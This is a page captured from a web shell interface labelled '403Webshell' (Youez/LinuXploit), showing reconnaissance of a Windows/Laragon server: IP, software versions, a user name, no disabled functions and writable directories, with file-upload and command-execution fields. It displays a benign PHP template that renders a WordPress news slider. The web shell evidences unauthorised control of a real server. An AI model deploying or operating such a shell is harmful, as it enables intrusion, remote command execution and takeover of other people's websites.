403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/laragon/www/sections/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/laragon/www/sections/section-news-movil.php
<?php
    include(__DIR__ . '/../app/prensa.php');
    $catList = getList("categories");
    $userList =getListC("users"); 
    $apiUrl = wp_posts_url(); 
    $noticias = decode_api($apiUrl);
?>

    <div class="section" id="blogslider flv_sections_16">
        <div class="section_wrapper clearfix">
            <div class="items_group clearfix">
                <div class="column one column_fancy_heading">
                    <div class="fancy_heading fancy_heading_icon">
                        <h2 class="title">Ultimas Publicaciones</h2>
                    </div>
                </div>                        
                <div class="column one column_blog_slider">
                    <div class="blog_slider clearfix">
                        <ul class="testimonials_slider_ul">                
                        <?php                                
                        foreach($noticias as $post){
                            $content = $post['content']['rendered'];
                            $firstImageURL = wp_post_featured_image_url($post, false);
                            if (preg_match('/<a[^>]+href="([^"]+\.pdf)"/i', $content, $matches)) {
                                $pdfUrl = $matches[1];
                                $firstDocURL = wp_secure_media_url($matches[1]); 
                            }
                            foreach ($userList as $authorData) {
                                if ($authorData['id'] == $post['author']) {
                                    $author = $authorData;
                                    break;
                                }
                            }
                            $categories = [];
                            foreach ($catList as $cat) {
                                if(!empty($post['categories'])){
                                foreach ($post['categories'] as $catPost) {
                                    if ($cat['id'] == $catPost) {
                                        $categories[] = $cat;
                                        if($cat['id']==26 && empty($firstImageURL)){
                                        $firstImageURL="/assets/images/content/news/leyes.jpg";}
                                    }
                                } }
                            }
                        ?>
                                                        <li>
                                                            <div class="single-photo-img">
                                                                    <?php if(!empty($firstImageURL)){?>
                                                                        <img width="500" height="300" src="<?php echo htmlspecialchars($firstImageURL) ?>"
                                                                        class="scale-with-grid  wp-post-image">
                                                                    <?php }?>
                                                            </div>
                                                            <div class="bq_wrapper">
                                                                <div class="date_label">
                                                                    <?php echo date("d-m-Y", strtotime($post['date_gmt']));?>
                                                                </div>
                                                                <div class="desc">
                                                                    <h5>
                                                                        <a href="<?= $post['link'] ?>"><?= $post['title']['rendered'] ?></a>
                                                                    </h5>
                                                                    <p><span class="big">                                                                    
                                                                    <?= 
                                                                    $desc=truncateDescription($post['excerpt']['rendered']);
                                                                    strstr($desc, '</p>', true) ?>
                                                                    </span>
                                                                    </p>
                                                    
                                                                </div>
                                                            </div>
                                                            <div class="hr_dots">
                                                                    <a class="button button_left button_js" href="<?= $post['link'] ?>">
                                                                <span></span><span></span><span></span>
                                                                    </a>
                                                                    <hr class="hr_color" />
                                                            </div>
                                                        </li>    
                        <?php };?>
                        </ul>
                        <div class="slider_pagination"></div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    

    <script src="/assets/js/jquery-3.6.0.min.js"></script>
	<script src="/assets/js/jquery-migrate-3.4.0.min.js"></script>

    <script src="/assets/js/mfn.menu.js"></script>
    <script src="/assets/js/jquery.plugins.js"></script>
    <script src="/assets/js/jquery.jplayer.min.js"></script>
    <script src="/assets/js/animations/animations.js"></script>
    <script src="/assets/js/email.js"></script>
    <script src="/assets/js/scripts.js"></script>

    <script src="/assets/plugins/rs-plugin/js/jquery.themepunch.tools.min.js"></script>
    <script src="/assets/plugins/rs-plugin/js/jquery.themepunch.revolution.min.js"></script>
    <script src="/assets/plugins/rs-plugin/js/extensions/revolution.extension.video.min.js"></script>
    <script src="/assets/plugins/rs-plugin/js/extensions/revolution.extension.slideanims.min.js"></script>
    <script src="/assets/plugins/rs-plugin/js/extensions/revolution.extension.actions.min.js"></script>
    <script src="/assets/plugins/rs-plugin/js/extensions/revolution.extension.layeranimation.min.js"></script>
    <script src="/assets/plugins/rs-plugin/js/extensions/revolution.extension.kenburn.min.js"></script>
    <script src="/assets/plugins/rs-plugin/js/extensions/revolution.extension.navigation.min.js"></script>
    <script src="/assets/plugins/rs-plugin/js/extensions/revolution.extension.migration.min.js"></script>
    <script src="/assets/plugins/rs-plugin/js/extensions/revolution.extension.parallax.min.js"></script>

    <script>
        var tpj = jQuery;
        var revapi34;
        tpj(document).ready(function() {
            if (tpj("#rev_slider_34_2").revolution == undefined) {
                revslider_showDoubleJqueryError("#rev_slider_34_2");
            } else {
                revapi34 = tpj("#rev_slider_34_2").show().revolution({
                    sliderType:"standard",

                    sliderLayout:"auto",
                    dottedOverlay:"none",
                    delay: 7000,
                    navigation: {
                        keyboardNavigation:"off",
                        keyboard_direction:"horizontal",
                        mouseScrollNavigation:"off",
                        onHoverStop:"on",
                        touch: {
                            touchenabled:"on",
                            swipe_threshold: 0.7,
                            swipe_min_touches: 1,
                            swipe_direction:"horizontal",
                            drag_block_vertical: false
                        },
                        arrows: {
                            style:"uranus",
                            enable: true,
                            hide_onmobile: false,
                            hide_onleave: false,
                            tmp: '',
                            left: {
                                h_align:"right",
                                v_align:"bottom",
                                h_offset: 90,
                                v_offset: 40
                            },
                            right: {
                                h_align:"right",
                                v_align:"bottom",
                                h_offset: 40,
                                v_offset: 40
                            }
                        },
                        thumbnails: {
                            style:"hesperiden",
                            enable: true,
                            width: 200,
                            height: 80,
                            min_width: 100,
                            wrapper_padding: 5,
                            wrapper_color:"transparent",
                            wrapper_opacity:"1",
                            tmp: '<span class="tp-thumb-image"></span><span class="tp-thumb-title">Slide</span>',
                            visibleAmount: 3,
                            hide_onmobile: true,
                            hide_under: 0,
                            hide_onleave: false,
                            direction:"horizontal",
                            span: false,
                            position:"inner",
                            space: 5,
                            h_align:"left",
                            v_align:"bottom",
                            h_offset: 40,
                            v_offset: 40
                        }
                    },
                    gridwidth: 1180,
                    gridheight: 750,
                    lazyType:"none",
                    shadow: 0,
                    spinner:"spinner3",
                    stopLoop:"off",
                    stopAfterLoops: -1,
                    stopAtSlide: -1,
                    shuffle:"off",
                    autoHeight:"off",
                    disableProgressBar:"on",
                    hideThumbsOnMobile:"on",
                    hideSliderAtLimit: 0,
                    hideCaptionAtLimit: 0,
                    hideAllCaptionAtLilmit: 0,
                    startWithSlide: 0,
                    debugMode: false,
                    fallbacks: {
                        simplifyAll:"on",
                        nextSlideOnWindowFocus:"off",
                        disableFocusListener:"off",
                    }
                });
            }
        });
    </script>

    <script>
        jQuery(window).on('load', function () {
            var retina = window.devicePixelRatio> 1 ? true : false;
            if (retina) {
                var retinaEl = jQuery("#logo img");
                var retinaLogoW = retinaEl.width();
                var retinaLogoH = retinaEl.height();
                retinaEl.attr("src","/assets/images/brand/logo1.png").width(retinaLogoW).height(retinaLogoH)
            }
        });
    </script>





Youez - 2016 - github.com/yon3zu
LinuXploit